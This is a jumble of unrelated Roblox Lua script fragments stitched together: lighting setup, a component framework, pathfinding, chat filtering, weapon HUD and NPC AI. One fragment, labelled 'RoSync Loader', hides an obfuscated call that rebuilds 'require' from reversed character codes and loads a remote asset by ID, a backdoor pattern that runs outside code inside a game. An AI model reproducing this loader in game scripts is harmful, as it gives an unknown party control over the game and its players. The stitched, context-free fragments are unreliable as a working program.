--aa.Shadows = true aa.Enabled = false aa.Face = 5 aa.Brightness = 1 aa.Range = 30 ab = Instance.new("SpotLight",a) ab.Name = "ind" ab.Color = Color3.new(255/255, 177/255, 51/255) --ab.Shadows = true ab.Enabled = false ab.Face = 5 ab.Range = 11 ab.Brightness = 3 ba = Instance.new("SpotLight",b) ba.Name = "hl" ba.Color = Color3.new(1,1,1) --ba.Shadows = true ba.Enabled = false ba.Face = 5 ba.Brightness = 1 ba.Range = 30 bb = Instance.new("SpotLight",b) bb.Name = "ind" bb.Color = Color3.new(255/255, 177/255, 51/255) --bb.Shadows = true bb.Enabled = false bb.Face = 5 bb.Range = 11 bb.Brightness = 2 -- rear00000000000000000000000000000000000000000000000000000000 ca = Instance.new("SpotLight",c) ca.Name = "Rev" ca.Color = Color3.new(1,1,1) --ca.Shadows = true ca.Enabled = false ca.Face = 2 ca.Brightness = 1 ca.Range = 12 cb = Instance.new("SpotLight",c) cb.Name = "ind" cb.Color = Color3.new(255/255, 177/255, 51/255) --cb.Shadows = true cb.Enabled = false cb.Face = 2 cb.Range = 11 cb.Brightness = 2 da = Instance.new("SpotLight",d) da.Name = "Rev" da.Color = Color3.new(1,1,1) --da.Shadows = true da.Enabled = false da.Face = 2 da.Brightness = 1 da.Range = 12 db = Instance.new("SpotLight",d) db.Name = "ind" db.Color = Color3.new(255/255, 177/255, 51/255) --db.Shadows = true db.Enabled = false db.Face = 2 db.Range = 11 db.Brightness = 2 brL = Instance.new("SpotLight",c) brL.Name = "Br" brL.Color = Color3.new(255/255, 0, 0) --brL.Shadows = true brL.Enabled = false brL.Face = 2 brL.Range = 15 brL.Brightness = 2 brR = Instance.new("SpotLight",d) brR.Name = "Br" brR.Color = Color3.new(255/255, 0, 0) --brR.Shadows = true brR.Enabled = false brR.Face = 2 brR.Range = 15 brR.Brightness = 2
--[=[ @tag Component @param config ComponentConfig @return ComponentClass Create a new custom Component class. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) ``` A full example might look like this: ```lua local MyComponent = Component.new({ Tag = "MyComponent", Ancestors = {workspace}, Extensions = {Logger}, -- See Logger example within the example for the Extension type }) local AnotherComponent = require(somewhere.AnotherComponent) -- Optional if UpdateRenderStepped should use BindToRenderStep: MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value function MyComponent:Construct() self.MyData = "Hello" end function MyComponent:Start() local another = self:GetComponent(AnotherComponent) another:DoSomething() end function MyComponent:Stop() self.MyData = "Goodbye" end function MyComponent:HeartbeatUpdate(dt) end function MyComponent:SteppedUpdate(dt) end function MyComponent:RenderSteppedUpdate(dt) end ``` ]=]
function Component.new(config: ComponentConfig) local customComponent = { [KEY_ANCESTORS] = config.Ancestors or DEFAULT_ANCESTORS, [KEY_INST_TO_COMPONENTS] = {}, [KEY_COMPONENTS] = {}, [KEY_LOCK_CONSTRUCT] = {}, [KEY_TROVE] = Trove.new(), [KEY_EXTENSIONS] = config.Extensions or {}, [KEY_STARTED] = false, Tag = config.Tag } customComponent.Started = customComponent[KEY_TROVE]:Construct(Signal) customComponent.Stopped = customComponent[KEY_TROVE]:Construct(Signal) customComponent.__index = customComponent customComponent.__tostring = function() return "Component<" .. config.Tag .. ">" end setmetatable(customComponent, Component) customComponent:_setup() return customComponent end function Component:_instantiate(instance: Instance) local component = setmetatable({}, self) component.Instance = instance component[KEY_ACTIVE_EXTENSIONS] = GetActiveExtensions(component, self[KEY_EXTENSIONS]) if not ShouldConstruct(component) then return nil end InvokeExtensionFn(component, "Constructing") if type(component.Construct) == "function" then component:Construct() end InvokeExtensionFn(component, "Constructed") return component end function Component:_setup() local watchingInstances = {} local function StartComponent(component) InvokeExtensionFn(component, "Starting") component:Start() InvokeExtensionFn(component, "Started") local hasHeartbeatUpdate = typeof(component.HeartbeatUpdate) == "function" local hasSteppedUpdate = typeof(component.SteppedUpdate) == "function" local hasRenderSteppedUpdate = typeof(component.RenderSteppedUpdate) == "function" if hasHeartbeatUpdate then component._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt) component:HeartbeatUpdate(dt) end) end if hasSteppedUpdate then component._steppedUpdate = RunService.Stepped:Connect(function(_, dt) component:SteppedUpdate(dt) end) end if hasRenderSteppedUpdate and not IS_SERVER then if component.RenderPriority then component._renderName = NextRenderName() RunService:BindToRenderStep(component._renderName, component.RenderPriority, function(dt) component:RenderSteppedUpdate(dt) end) else component._renderSteppedUpdate = RunService.RenderStepped:Connect(function(dt) component:RenderSteppedUpdate(dt) end) end end component[KEY_STARTED] = true self.Started:Fire(component) end local function StopComponent(component) if component._heartbeatUpdate then component._heartbeatUpdate:Disconnect() end if component._steppedUpdate then component._steppedUpdate:Disconnect() end if component._renderSteppedUpdate then component._renderSteppedUpdate:Disconnect() elseif component._renderName then RunService:UnbindFromRenderStep(component._renderName) end InvokeExtensionFn(component, "Stopping") component:Stop() InvokeExtensionFn(component, "Stopped") self.Stopped:Fire(component) end local function SafeConstruct(instance, id) if self[KEY_LOCK_CONSTRUCT][instance] ~= id then return nil end local component = self:_instantiate(instance) if self[KEY_LOCK_CONSTRUCT][instance] ~= id then return nil end return component end local function TryConstructComponent(instance) if self[KEY_INST_TO_COMPONENTS][instance] then return end local id = self[KEY_LOCK_CONSTRUCT][instance] or 0 id += 1 self[KEY_LOCK_CONSTRUCT][instance] = id task.defer(function() local component = SafeConstruct(instance, id) if not component then return end self[KEY_INST_TO_COMPONENTS][instance] = component table.insert(self[KEY_COMPONENTS], component) task.defer(function() if self[KEY_INST_TO_COMPONENTS][instance] == component then StartComponent(component) end end) end) end local function TryDeconstructComponent(instance) local component = self[KEY_INST_TO_COMPONENTS][instance] if not component then return end self[KEY_INST_TO_COMPONENTS][instance] = nil self[KEY_LOCK_CONSTRUCT][instance] = nil local components = self[KEY_COMPONENTS] local index = table.find(components, component) if index then local n = #components components[index] = components[n] components[n] = nil end if component[KEY_STARTED] then task.spawn(StopComponent, component) end end local function StartWatchingInstance(instance) if watchingInstances[instance] then return end local function IsInAncestorList(): boolean for _, parent in ipairs(self[KEY_ANCESTORS]) do if instance:IsDescendantOf(parent) then return true end end return false end local ancestryChangedHandle = self[KEY_TROVE]:Connect(instance.AncestryChanged, function(_, parent) if parent and IsInAncestorList() then TryConstructComponent(instance) else TryDeconstructComponent(instance) end end) watchingInstances[instance] = ancestryChangedHandle if IsInAncestorList() then TryConstructComponent(instance) end end local function InstanceTagged(instance: Instance) StartWatchingInstance(instance) end local function InstanceUntagged(instance: Instance) local watchHandle = watchingInstances[instance] if watchHandle then watchHandle:Disconnect() watchingInstances[instance] = nil end TryDeconstructComponent(instance) end self[KEY_TROVE]:Connect(CollectionService:GetInstanceAddedSignal(self.Tag), InstanceTagged) self[KEY_TROVE]:Connect(CollectionService:GetInstanceRemovedSignal(self.Tag), InstanceUntagged) local tagged = CollectionService:GetTagged(self.Tag) for _, instance in ipairs(tagged) do task.defer(InstanceTagged, instance) end end
-- Creates a recoil simulation based on the weapon runtime data -- @param WeaponRuntimeData weaponRuntimeData -- @return RecoilSimulator
function RecoilSimulator.New(weaponRuntimeData) local self = {} setmetatable(self,RecoilSimulator) self.runtimeData = weaponRuntimeData self.weaponDefinition = weaponRuntimeData:GetWeaponDefinition() self.rng = Random.new() return self end
--//Finished loading
wait(1) loadingScreen:Destroy() game.Players.LocalPlayer.PlayerGui.GlobalMenu.Enabled = true game.Players.LocalPlayer.PlayerGui.Info.Enabled = true game.Players.LocalPlayer.PlayerGui.SaveSystem.LoadMenu.Visible = true game.Lighting:WaitForChild("Blur").Enabled = false game.Lighting:WaitForChild('ColorCorrection').Enabled = false
--[[ Last synced 7/9/2021 08:33 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 2 Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge) Track1:Play() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.X and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then Debounce = 3 plr.Character.HumanoidRootPart.Anchored = false local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() for i = 1,10 do wait(0.1) local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) end wait(0.3) Track2:Stop() wait(.5) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) if plrData.Money.Gold.Value > 5 then return true end return false end
--]]
function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local ai = script.Parent local human = getHumanoid(ai) local hroot = ai.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end function GetPlayersBodyParts(t) local torso = t if torso then local figure = torso.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function GetTorso(part) local chars = game.Workspace:GetChildren() local torso = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then torso = charRoot end end end return torso end for _, zambieparts in pairs(ai:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(aiDamage) end end) end end
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, 0.1, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--El sonido se encuentra dentro del Handle para que sólo se escuche cerca de quien lo lleva en mano.
-- HUD setup
local hud, clipUI, ammoUI function makeHud() hud = tool.WeaponHud:Clone() clipUI = hud.AmmoHud.Clip ammoUI = hud.AmmoHud.Ammo hud.Parent = player.PlayerGui end repeat wait() until player.Character makeHud() player.CharacterAdded:Connect(makeHud)
-- PROPERTIES
IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12 IconController.leftOffset = 0 IconController.rightOffset = 0 IconController.mimicCoreGui = true
--///////////////// Internal-Use Methods --////////////////////////////////////// --DO NOT REMOVE THIS. Chat must be filtered or your game will face --moderation.
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG if RunService:IsServer() then -- and not RunService:IsStudio()) then local fromSpeaker = self:GetSpeaker(speakerName) local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName) if fromSpeaker == nil then return nil end local fromPlayerObj = fromSpeaker:GetPlayer() local toPlayerObj = toSpeaker and toSpeaker:GetPlayer() if fromPlayerObj == nil then return message end local filterStartTime = tick() local filterRetries = 0 while true do local success, message = pcall(function() if toPlayerObj then return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj) else return Chat:FilterStringForBroadcast(message, fromPlayerObj) end end) if success then return message else warn("Error filtering message:", message) end filterRetries = filterRetries + 1 if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then self:InternalNotifyFilterIssue() return nil end local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)] -- backoffWait = backoffInterval +/- (0 -> backoffInterval) local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval) task.wait(backoffWait) end else --// Simulate filtering latency. --// There is only latency the first time the message is filtered, all following calls will be instant. if not StudioMessageFilteredCache[message] then StudioMessageFilteredCache[message] = true task.wait(0.2) end return message end return nil end
--Chat Event
player.Chatted:Connect(function(msg) if msg=="spawn" and event:InvokeServer("whitelist") then frame.Visible = true update() end end)
--Character--
local char = script.Parent; local hum : Humanoid = char.Humanoid; local hrp : BasePart = char.HumanoidRootPart;
-- -- -- -- -- -- -- --DIRECTION SCROLL-- -- -- -- -- -- -- --
This.Parent.Parent.Parent.Parent:WaitForChild("Velocity").Changed:connect(function(val) if This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val > 0 then This.SurfaceGui.Direction.Text = "▲" elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val < 0 then This.SurfaceGui.Direction.Text = "▼" elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val == 0 then This.SurfaceGui.Direction.Text = "" elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val == 0 then This.SurfaceGui.Direction.Text = "" else This.SurfaceGui.Direction.Text = "" end end)
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/pluralize.ts
--[[ MatchTable { Some: (value: any) -> any None: () -> any } CONSTRUCTORS: Option.Some(anyNonNilValue): Option<any> Option.Wrap(anyValue): Option<any> STATIC FIELDS: Option.None: Option<None> STATIC METHODS: Option.Is(obj): boolean METHODS: opt:Match(): (matches: MatchTable) -> any opt:IsSome(): boolean opt:IsNone(): boolean opt:Unwrap(): any opt:Expect(errMsg: string): any opt:ExpectNone(errMsg: string): void opt:UnwrapOr(default: any): any opt:UnwrapOrElse(default: () -> any): any opt:And(opt2: Option<any>): Option<any> opt:AndThen(predicate: (unwrapped: any) -> Option<any>): Option<any> opt:Or(opt2: Option<any>): Option<any> opt:OrElse(orElseFunc: () -> Option<any>): Option<any> opt:XOr(opt2: Option<any>): Option<any> opt:Contains(value: any): boolean -------------------------------------------------------------------- Options are useful for handling nil-value cases. Any time that an operation might return nil, it is useful to instead return an Option, which will indicate that the value might be nil, and should be explicitly checked before using the value. This will help prevent common bugs caused by nil values that can fail silently. Example: local result1 = Option.Some(32) local result2 = Option.Some(nil) local result3 = Option.Some("Hi") local result4 = Option.Some(nil) local result5 = Option.None -- Use 'Match' to match if the value is Some or None: result1:Match { Some = function(value) print(value) end; None = function() print("No value") end; } -- Raw check: if result2:IsSome() then local value = result2:Unwrap() -- Explicitly call Unwrap print("Value of result2:", value) end if result3:IsNone() then print("No result for result3") end -- Bad, will throw error bc result4 is none: local value = result4:Unwrap() --]]
local CLASSNAME: string = "Option"
-----------------------------------PATHER--------------------------------------
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath) local this = {} local directPathForHumanoid local directPathForVehicle if overrideUseDirectPath ~= nil then directPathForHumanoid = overrideUseDirectPath directPathForVehicle = overrideUseDirectPath else directPathForHumanoid = UseDirectPath directPathForVehicle = UseDirectPathForVehicle end this.Cancelled = false this.Started = false this.Finished = Instance.new("BindableEvent") this.PathFailed = Instance.new("BindableEvent") this.PathComputing = false this.PathComputed = false this.OriginalTargetPoint = endPoint this.TargetPoint = endPoint this.TargetSurfaceNormal = surfaceNormal this.DiedConn = nil this.SeatedConn = nil this.MoveToConn = nil -- To be removd with FFlagUserClickToMoveFollowPathRefactor this.BlockedConn = nil this.TeleportedConn = nil this.CurrentPoint = 0 this.HumanoidOffsetFromPath = ZERO_VECTOR3 this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 this.CurrentWaypointNeedsJump = false; this.CurrentHumanoidPosition = ZERO_VECTOR3 this.CurrentHumanoidVelocity = 0 this.NextActionMoveDirection = ZERO_VECTOR3 this.NextActionJump = false this.Timeout = 0 this.Humanoid = findPlayerHumanoid(Player) this.OriginPoint = nil this.AgentCanFollowPath = false this.DirectPath = false this.DirectPathRiseFirst = false if FFlagUserClickToMoveFollowPathRefactor then local rootPart = this.Humanoid and this.Humanoid.RootPart if rootPart then -- Setup origin this.OriginPoint = rootPart.CFrame.p -- Setup agent local agentRadius = 2 local agentHeight = 5 local agentCanJump = true local seat = this.Humanoid.SeatPart if seat and seat:IsA("VehicleSeat") then -- Humanoid is seated on a vehicle local vehicle = seat:FindFirstAncestorOfClass("Model") if vehicle then -- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends. local tempPrimaryPart = vehicle.PrimaryPart vehicle.PrimaryPart = seat -- For now, only direct path if directPathForVehicle then local extents = vehicle:GetExtentsSize() agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = false this.AgentCanFollowPath = true this.DirectPath = directPathForVehicle end -- Reset PrimaryPart vehicle.PrimaryPart = tempPrimaryPart end else local extents = GetCharacter():GetExtentsSize() agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = (this.Humanoid.JumpPower > 0) this.AgentCanFollowPath = true this.DirectPath = directPathForHumanoid this.DirectPathRiseFirst = this.Humanoid.Sit end -- Build path object this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump}) end else if this.Humanoid then local torso = this.Humanoid.Torso if torso then this.OriginPoint = torso.CFrame.p this.AgentCanFollowPath = true this.DirectPath = directPathForHumanoid end end end function this:Cleanup() if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end if this.MoveToConn then this.MoveToConn:Disconnect() this.MoveToConn = nil end if this.BlockedConn then this.BlockedConn:Disconnect() this.BlockedConn = nil end if this.DiedConn then this.DiedConn:Disconnect() this.DiedConn = nil end if this.SeatedConn then this.SeatedConn:Disconnect() this.SeatedConn = nil end if this.TeleportedConn then this.TeleportedConn:Disconnect() this.TeleportedConn = nil end this.Started = false end function this:Cancel() this.Cancelled = true this:Cleanup() end function this:IsActive() return this.AgentCanFollowPath and this.Started and not this.Cancelled end function this:OnPathInterrupted() -- Stop moving this.Cancelled = true this:OnPointReached(false) end function this:ComputePath() if this.OriginPoint then if this.PathComputed or this.PathComputing then return end this.PathComputing = true if FFlagUserClickToMoveFollowPathRefactor then if this.AgentCanFollowPath then if this.DirectPath then this.pointList = { PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk), PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk) } this.PathComputed = true else this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end) this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success end end else pcall(function() this.pathResult = PathfindingService:FindPathAsync(this.OriginPoint, this.TargetPoint) end) this.pointList = this.pathResult and this.pathResult:GetWaypoints() if this.pathResult then this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end) end this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false end this.PathComputing = false end end function this:IsValidPath() if FFlagUserClickToMoveFollowPathRefactor then this:ComputePath() return this.PathComputed and this.AgentCanFollowPath else if not this.pathResult then this:ComputePath() end return this.pathResult.Status == Enum.PathStatus.Success end end this.Recomputing = false function this:OnPathBlocked(blockedWaypointIdx) local pathBlocked = blockedWaypointIdx >= this.CurrentPoint if not pathBlocked or this.Recomputing then return end this.Recomputing = true if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end if FFlagUserClickToMoveFollowPathRefactor then this.OriginPoint = this.Humanoid.RootPart.CFrame.p else this.OriginPoint = this.Humanoid.Torso.CFrame.p end this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() if #this.pointList > 0 then if FFlagUserClickToMoveFollowPathRefactor then this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint else -- Nothing to do : offset did not change end end this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success if ShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList) end if this.PathComputed then this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() this:Cleanup() end this.Recomputing = false end function this:OnRenderStepped(dt) if this.Started and not this.Cancelled then -- Check for Timeout (if a waypoint is not reached within the delay, we fail) this.Timeout = this.Timeout + dt if this.Timeout > UnreachableWaypointTimeout then this:OnPointReached(false) return end -- Get Humanoid position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Check if it has reached some waypoints while this.Started and this:IsCurrentWaypointReached() do this:OnPointReached(true) end -- If still started, update actions if this.Started then -- Move action this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then this.NextActionMoveDirection = this.NextActionMoveDirection.Unit else this.NextActionMoveDirection = ZERO_VECTOR3 end -- Jump action if this.CurrentWaypointNeedsJump then this.NextActionJump = true this.CurrentWaypointNeedsJump = false -- Request jump only once else this.NextActionJump = false end end end end function this:IsCurrentWaypointReached() local reached = false -- Check we do have a plane, if not, we consider the waypoint reached if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then -- Compute distance of Humanoid from destination plane local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance -- Compute the component of the Humanoid velocity that is towards the plane local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity) -- Compute the threshold from the destination plane based on Humanoid velocity local threshold = math.max(1.0, 0.0625 * velocity) -- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it reached = dist < threshold else reached = true end if reached then this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end return reached end function this:OnPointReached(reached) if reached and not this.Cancelled then if FFlagUserClickToMoveFollowPathRefactor then -- First, destroyed the current displayed waypoint if this.setPointFunc then this.setPointFunc(this.CurrentPoint) end end local nextWaypointIdx = this.CurrentPoint + 1 if nextWaypointIdx > #this.pointList then -- End of path reached if this.stopTraverseFunc then this.stopTraverseFunc() end this.Finished:Fire() this:Cleanup() else local currentWaypoint = this.pointList[this.CurrentPoint] local nextWaypoint = this.pointList[nextWaypointIdx] -- If airborne, only allow to keep moving -- if nextWaypoint.Action ~= Jump, or path mantains a direction -- Otherwise, wait until the humanoid gets to the ground local currentState = this.Humanoid:GetState() local isInAir = currentState == Enum.HumanoidStateType.FallingDown or currentState == Enum.HumanoidStateType.Freefall or currentState == Enum.HumanoidStateType.Jumping if isInAir then local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump if not shouldWaitForGround and this.CurrentPoint > 1 then local prevWaypoint = this.pointList[this.CurrentPoint - 1] local prevDir = currentWaypoint.Position - prevWaypoint.Position local currDir = nextWaypoint.Position - currentWaypoint.Position local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit local THRESHOLD_COS = 0.996 -- ~cos(5 degrees) shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS end if shouldWaitForGround then this.Humanoid.FreeFalling:Wait() -- Give time to the humanoid's state to change -- Otherwise, the jump flag in Humanoid -- will be reset by the state change wait(0.1) end end -- Move to the next point if FFlagUserNavigationClickToMoveSkipPassedWaypoints then if FFlagUserClickToMoveFollowPathRefactor then this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx) else -- First, check if we already passed the next point local nextWaypointAlreadyReached -- 1) Build plane (normal is from next waypoint towards current one -- (provided the two waypoints are not at the same location); location is at next waypoint) local planeNormal = currentWaypoint.Position - nextWaypoint.Position if planeNormal.Magnitude > ALMOST_ZERO then planeNormal = planeNormal.Unit local planeDistance = planeNormal:Dot(nextWaypoint.Position) -- 2) Find current Humanoid position local humanoidPosition = this.Humanoid.RootPart.Position - Vector3.new( 0, 0.5 * this.Humanoid.RootPart.Size.y + this.Humanoid.HipHeight, 0) -- 3) Compute distance from plane local dist = planeNormal:Dot(humanoidPosition) - planeDistance -- 4) If we are less then a stud in front of the plane or if we are behing the plane, we consider we reached it nextWaypointAlreadyReached = dist < 1.0 else -- Next waypoint is the same as current waypoint so we reached it as well nextWaypointAlreadyReached = true end -- Prepare for next point if not FFlagUserClickToMoveFollowPathRefactor then if this.setPointFunc then this.setPointFunc(nextWaypointIdx) end end this.CurrentPoint = nextWaypointIdx -- Either callback here right away if next waypoint is already passed -- Otherwise, ask the Humanoid to MoveTo if nextWaypointAlreadyReached then this:OnPointReached(true) else if nextWaypoint.Action == Enum.PathWaypointAction.Jump then this.Humanoid.Jump = true end this.Humanoid:MoveTo(nextWaypoint.Position) end end else if this.setPointFunc then this.setPointFunc(nextWaypointIdx) end if nextWaypoint.Action == Enum.PathWaypointAction.Jump then this.Humanoid.Jump = true end this.Humanoid:MoveTo(nextWaypoint.Position) this.CurrentPoint = nextWaypointIdx end end else this.PathFailed:Fire() this:Cleanup() end end function this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx) -- Build next destination plane -- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location)) -- (plane location is at next waypoint) this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z) if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position) else -- Next waypoint is the same as current waypoint so no plane this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end -- Should we jump this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump; -- Remember next waypoint position this.CurrentWaypointPosition = nextWaypoint.Position -- Move to next point this.CurrentPoint = nextWaypointIdx -- Finally reset Timeout this.Timeout = 0 end function this:Start(overrideShowPath) if not this.AgentCanFollowPath then this.PathFailed:Fire() return end if this.Started then return end this.Started = true ClickToMoveDisplay.CancelFailureAnimation() if ShowPath then if overrideShowPath == nil or overrideShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint) end end if #this.pointList > 0 then -- Determine the humanoid offset from the path's first point if FFlagUserClickToMoveFollowPathRefactor then -- Offset of the first waypoint from the path's origin point this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0) else -- Humanoid height above ground this.HumanoidOffsetFromPath = Vector3.new(0, -(0.5 * this.Humanoid.RootPart.Size.y + this.Humanoid.HipHeight), 0) end -- As well as its current position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Connect to events this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end) this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end) if not FFlagUserClickToMoveFollowPathRefactor then this.MoveToConn = this.Humanoid.MoveToFinished:Connect(function(reached) this:OnPointReached(reached) end) end if FFlagUserClickToMoveFollowPathRefactor then this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end) end -- Actually start this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() if this.stopTraverseFunc then this.stopTraverseFunc() end end end --We always raycast to the ground in the case that the user clicked a wall. local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5 local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50) local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList()) if newHitPart then this.TargetPoint = newHitPos end this:ComputePath() return this end
-- Get join time
function Main:GetJoinTime() return self.JoinTime end
--[=[ @class StreamableUtil @client A utility library for the Streamable class. ```lua local StreamableUtil = require(packages.Streamable).StreamableUtil ``` ]=]
local StreamableUtil = {}
-------------------- --| Script Logic |-- --------------------
